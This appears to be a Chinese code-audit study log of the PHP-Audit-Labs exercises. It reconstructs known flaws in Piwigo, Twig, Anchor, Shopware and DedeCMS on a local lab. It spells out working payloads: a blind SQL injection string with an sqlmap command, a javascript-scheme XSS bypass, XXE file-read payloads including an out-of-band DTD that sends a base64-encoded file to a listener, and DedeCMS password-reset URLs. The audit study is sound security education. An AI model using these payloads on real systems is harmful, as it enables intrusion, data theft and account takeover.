前言
项目:https://github.com/hongriSec/PHP-Audit-Labs
对实际 cms 的漏洞跟踪,本文章会侧重于在已知漏洞类型的情况下去尝试还原挖掘思路
Day 1
in_array函数缺陷
此特性多见于文件名 or 语句检测中的利用
如果第三个参数不指定为 true,就可以通过构造 数字+字符串 的组合实现绕过,此时只会检测数字部分
Piwigo 2.7.1 SQL Inject
环境配置 php5,可能遇到的 mysql5.7.26 配置错误:https://github.com/Piwigo/Piwigo/issues/443
include/section_init.inc.php 开头添加一行 pwg_query("SET SESSION sql_mode = ''");
然后创建一个新相册,随便上传一个图片
接下来开始审计
这个框架实现的 sql 查询方法是 pwg_query
function pwg_query($query)
{
global $conf,$page,$debug,$t2;
$start = microtime(true);
($result = mysql_query($query)) or my_error($query, $conf['die_on_sql_error']);
$time = microtime(true) - $start;
if (!isset($page['count_queries']))
{
$page['count_queries'] = 0;
$page['queries_time'] = 0;
}
$page['count_queries']++;
$page['queries_time']+= $time;
if ($conf['show_queries'])
{
$output = '';
$output.= '<pre>['.$page['count_queries'].'] ';
$output.= "\n".$query;
$output.= "\n".'(this query time : ';
$output.= '<b>'.number_format($time, 3, '.', ' ').' s)</b>';
$output.= "\n".'(total SQL time : ';
$output.= number_format($page['queries_time'], 3, '.', ' ').' s)';
$output.= "\n".'(total time : ';
$output.= number_format( ($time+$start-$t2), 3, '.', ' ').' s)';
if ( $result!=null and preg_match('/\s*SELECT\s+/i',$query) )
{
$output.= "\n".'(num rows : ';
$output.= mysql_num_rows($result).' )';
}
elseif ( $result!=null
and preg_match('/\s*INSERT|UPDATE|REPLACE|DELETE\s+/i',$query) )
{
$output.= "\n".'(affected rows : ';
$output.= mysql_affected_rows().' )';
}
$output.= "</pre>\n";
$debug .= $output;
}
return $result;
}
没做其他的预编译操作直接 mysql_query
据此搜索源码中使用此查询的代码,这里搜 pwg_query($query)
来匹配,同时排除一些不必要的文件
目标是找到可控的 $query 拼接
最终锁定 include/functions_rate.inc.php
function rate_picture($image_id, $rate)
可以看到这里 $image_id 和 $rate 均能随意注入
跟一下 rate_picture 的调用
在 picture.php
可以看到 rate 是我们自己可控的
那么要注入的查询语句就是:
INSERT INTO '.RATE_TABLE.'(user_id,anonymous_id,element_id,rate,date) VALUES ('.$user['id'].','.'\''.$anonymous_id.'\','.$image_id.','.$rate.',NOW());'
于是入口在 picture.php
if (isset($_GET['action'])) {
switch ($_GET['action']) {
//...
case 'rate': {
include_once(PHPWG_ROOT_PATH . 'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
//...
}
}
然后回到 include/functions_rate.inc.php
这里有一个关于 $rate 的判断
if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
$conf['rate_items']
的内容可以在 include/config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);
要求 rate 的值为其中的一个,但这里用的是 in_array
,没有设置第三个参数,那么可以绕过:
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
成功延时,于是可以上 sqlmap 盲注
python3 sqlmap.py -u "http://local.audit.labs/piwigo/picture.php?/1/category/1&action=rate" -proxy="http://127.0.0.1:8083" --data "rate=1" --dbs
注意不要跟随重定向
Day 2
Twig
这次是 xss
<?php
//composer require "twig/twig"
require 'vendor/autoload.php';
class Template
{
private $twig;
public function __construct()
{
$indexTemplate = '<img ' . 'src="https://loremflickr.com/320/240">' . '<a href="{{link|escape}}">Next slide ></a>';
// Default twig setup,simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader(['index.html' => $indexTemplate]);
$this->twig = new Twig\Environment($loader);
}
public function getNexslideUrl()
{
$nextslide = $_GET['nextslide'];
return filter_var($nextslide, FILTER_VALIDATE_URL);
}
public function render()
{
echo $this->twig->render('index.html', ['link' => $this->getNexslideUrl()]);
}
}
(new Template())->render();
$nextslide 可控,但是会过一次 filter_var 方法验证是否为 URL 协议
并且在模板渲染这里还用了 escape 进行转义:<a href="{{link|escape}}">Next slide ></a>
,参考文档:https://twig.symfony.com/doc/2.x/filters/escape.html
Internally,
escape
uses the PHP native htmlspecialchars function for the HTML escaping strategy.
本质上是使用了 htmlspecialchars 进行转义
& (& 符号) =============== &
" (双引号) =============== "
' (单引号) =============== '
< (小于号) =============== <
> (大于号) =============== >
针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过
javascript://%250aalert(1)
可以自行输出调试一下
echo filter_var($nextslide, FILTER_VALIDATE_URL);
echo "<br>";
echo htmlspecialchars(filter_var($nextslide, FILTER_VALIDATE_URL));
实际上,这里的 //
在JavaScript中表示单行注释,所以后面的内容均为注释
而这里使用的 %250a 在浏览器 url 首次解码后为 %0a,也就是换行符,那么就能独立执行
于是就能插入 href 中实现 xss
Anchor 0.9.2 XSS
环境php5
接下来开始审计
测试发现当我们访问不存在的链接时,404报错模板会显示对应的链接
此事在 Sekaictf 中亦有记载
这里直接拼接当前的 url 并用 echo 输出,那么可以实现 xss
Day 3
class_exists函数触发__autoload
php<=5.3
<?php
class_exists("../../../../../flag");
function __autoload($classname){
include $classname;
}
SimpleXMLElement原生(内置)类XXE
<?php
$name = "SimpleXMLElement";
$xxe = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d:/flag" >
]>
<x>&xxe;</x>
EOF;
$data = array("t" => $xxe, "v" => "2");
echo new $name($data['t'], $data['v']);
反射类 ReflectionClass
public ReflectionClass::newInstance ( mixed $args [, mixed $... ] ) : object
创建类的新的实例。给出的参数将会传递到类的构造函数。
public ReflectionClass::newInstanceArgs ([ array $args ] ) : object
创建一个类的新实例,给出的参数将传递到类的构造函数。
然后看一下 SimpleXMLElement 的构造函数
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
需要控制 $data 和 $options 参数
可以据此构造xxe
<?php
$name = "SimpleXMLElement";
$xxe = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d:/flag" >
]>
<x>&xxe;</x>
EOF;
$data = array("t" => $xxe, "v" => "2");
$a = new ReflectionClass($name);
echo $a->newInstanceArgs($data);
Shopware 5.3.3 后台XXE
直接全局搜 newInstanceArgs
engine/Shopware/Components/ReflectionHelper.php
class ReflectionHelper
{
/**
* @param string $className
* @param array $arguments
*
* @return object
*/
public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className);
if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
}
$constructorParams = $reflectionClass->getConstructor()->getParameters();
$newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName();
if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
}
$newParams[] = $constructorParam->getDefaultValue();
continue;
}
$newParams[] = $arguments[$paramName];
}
return $reflectionClass->newInstanceArgs($newParams);
}
}
这里会实例化反射类,类名和参数均是从方法传入的
往上查看引用,总共两个引用
最终选择 engine/Shopware/Components/LogawareReflectionHelper.php
public function __construct(LoggerInterface $logger)
{
$this->logger = $logger;
$this->reflector = new ReflectionHelper();
}
/**
* @param array $serialized
* @param string $errorSource
*
* @return array
*/
public function unserialize($serialized, $errorSource)
{
$classes = [];
foreach ($serialized as $className => $arguments) {
$className = explode('|', $className);
$className = $className[0];
try {
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
}
return $classes;
}
查看 unserialize 的引用
engine/Shopware/Components/ProductStream/Repository.php
public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
}
继续向上跟进
在 engine/Shopware/Controllers/Backend/ProductStream.php 文件中有一个 loadPreviewAction 方法,其作用是用来预览产品流的详细信息
public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true);
$sorting = $this->Request()->getParam('sort');
$criteria = new Criteria();
/** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting);
foreach ($sorting as $sort) {
$criteria->addSorting($sort);
}
$conditions = $streamRepo->unserialize($conditions);
//...
}
这里接收 sort 参数,参数可控并传入 unserialize
那么整理出调用链:
ProductStream::loadPreviewAction
$sorting = $this->Request()->getParam('sort');
$sorting = $streamRepo->unserialize($sorting);
Repository::unserialize
return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
LogawareReflectionHelper::unserialize
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
ReflectionHelper::createInstanceFromNamedArguments
$reflectionClass = new \ReflectionClass($className);
$newParams[] = $arguments[$paramName];
return $reflectionClass->newInstanceArgs($newParams);
漏洞验证
接下来实际利用,在后台找到调用 loadPreviewAction 接口的位置
这里需要选一个 sorting,抓包得到
GET /shopware/backend/ProductStream/loadPreview?_dc=1749465824004&sort=%7B%22Shopware%5C%5CBundle%5C%5CSearchBundle%5C%5CSorting%5C%5CSearchRankingSorting%22%3A%7B%22direction%22%3A%22DESC%22%7D%7D&conditions=%7B%7D&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25 HTTP/1.1
Host: audit.labs.local
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
X-Requested-With: XMLHttpRequest
Referer: http://audit.labs.local/shopware/backend/
Accept: */*
Accept-Encoding: gzip, deflate
X-CSRF-Token: bsA8K6uFeyojwzIohShkGNQIV7IzrB
Cookie: SHOPWAREBACKEND=ba3ejnkpg5t6vlmb44udob80c5; __csrf_token-1=aqSCfTs9CGtz7A4gFvcDyf5eRl3JDs; anchorcms=NAbop97kMBZyxT19J3xvLtarkszjnUm3; session-1=fe8469fc5bcce8b6423198611b499f51061a22bd751430b78118ef196f11bfb5; x-ua-device=desktop; lastCheckSubscriptionDate=09062025
Priority: u=0
这里 sort 的格式是
{"Shopware\\Bundle\\SearchBundle\\Sorting\\SearchRankingSorting":{"direction":"DESC"}}
SearchRankingSorting 也是框架中的一个类
那么可以仿照格式传入 SimpleXMLElement 类
{"SimpleXMLElement":{"data":"http://127.0.0.1:2222/noeval.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}
无回显带出
noeval.xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:2222/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:2333?p=%file;'>">
Day 4
php特性绕过——strpos验证不当
<?php
class Login
{
public function __construct($user, $pass)
{
$this->loginviaXml($user, $pass);
}
public function loginviaXml($user, $pass)
{
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
echo $xml;
//$xmlElement = new SimpleXMLElement($xml);
//Perform the actual login.
//login($xmlElement);
}
}
}
$user='<"><injected-tag property="';
$pass='<injected-tag>';
new Login($user, $pass);
这里试图检测是否存在<
和>
标签
但众所周知在 php 中 0 == false
,而对于 strpos 而言
(!strpos($user, '<') || !strpos($user, '>'))
echo strpos('<"><injected-tag property="','<'); // 0
echo strpos('<"><injected-tag property="','>'); // 2
那么 (!strpos($user, '<') || !strpos($user, '>')) == 0||2 == true
从而实现绕过,注入 xml
DeDecms V5.7SP2 任意用户密码重置
既然知道是任意用户密码重置,那我们直接看 member/resetpassword.php
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}
这里的 mid 通过 preg_replace 保证固定是一个数字,然后用这个 mid 去查询数据得到 row
再验证安全问题和对应的答案,注意这里是 $row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer
用的是弱比较,观察一下 dede_member 表中没设置安全问题和答案时数据库的值
可以看到这里分别是 0 和空值 NULL,而这样和空字符串比较的值为 true
<?php
var_dump(0 == "");
var_dump(NULL == "");
注意这里
if(empty($safequestion)) $safequestion = '';
我们要让 empty($safequestion)
不为 false,而当 $safequestion 为 0 是这里会为 true
所以这里得取既能使empty($safequestion)
返回 false 还能使 0 == $safequestion
的值
测试得到可用 payload:
0.0
0.
0e
接下来进入 sn 函数
/**
* 查询是否发送过验证码
*
* @param string $mid 会员ID
* @param string $userid 用户名称
* @param string $mailto 发送邮件地址
* @param string $send 为Y发送邮件,为N不发送邮件默认为Y
* @return string
*/
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}
这里会查 dede_pwd_tmp 表,如果没查到就会进 newmail,发送邮件至相关邮箱
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
这里会插入一条记录进 dede_pwd_tmp 表,然后因为 $send 参数是 N,进入到跳转修改页的分支
通过 ShowMsg 打印出用户 id 和 md5 后的 randval,那么 url 如下:
http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval
看一下 resetpassword 的 getpasswd 方法
else if($dopost == "getpasswd")
{
//修改密码
if(empty($id))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起,临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起,新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起,临时密码错误', '-1');
exit;
}
}
通过查询 id 是否有在 dede_pwd_tmp 表来确认能否重置密码
然后在密码修改界面将 setp 赋值为 2
接下来就是判断传入的 key 是否等于数据库中的 $row['pwd'],如果相等就完成重置密码操作
漏洞验证
先在后台管理员启动会员功能:系统 -> 系统基本参数 -> 会员设置 -> 是否开启会员功能
然后去前台注册两个账户 test1 和 test2,如下
现在去访问第一步的 url
http://audit.labs.local/DedeCMS-V5.7/member/resetpassword.php?dopost=safequestion&safequestion=0.&safeanswer=&id=3
奇怪的是这里 0e 不行
记下 url
http://audit.labs.local/DedeCMS-V5.7/member/resetpassword.php?dopost=getpasswd&id=2&key=UAXiA7uP
访问修改密码的链接
于是成功修改 test1 的密码为 aaa